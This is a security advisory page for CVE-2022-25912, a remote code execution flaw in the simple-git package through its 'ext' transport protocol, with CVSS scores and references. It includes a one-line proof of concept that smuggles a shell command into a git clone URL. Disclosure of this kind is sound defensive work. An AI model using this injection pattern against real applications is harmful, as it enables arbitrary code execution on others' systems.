Remote Code Execution (RCE)

Affecting org.webjars.npm:simple-git package, versions **[0,]**

INTRODUCED: 10 NOV 2022 NEW CVE-2022-25912 CWE-94 Share

How to fix?

A fix was pushed into the `master` branch but not yet published.

Overview

org.webjars.npm:simple-git is an A light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the `ext` transport protocol, which makes it exploitable via `clone()` method. This vulnerability exists due to an incomplete fix of CVE-2022-24066.

PoC

```
const simpleGit = require('simple-git') const git2 = simpleGit() git2.clone('ext::sh -c touch% /tmp/pwn%
>&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
```

References

- GitHub Commit
- GitHub Release
- Plugin-Unsafe-Actions Documentation

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JAVA-ORGWEBJARSNPM-3153532
Published	5 Dec 2022
Disclosed	10 Nov 2022
Credit	Sam Wheating

Report a new vulnerability | Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.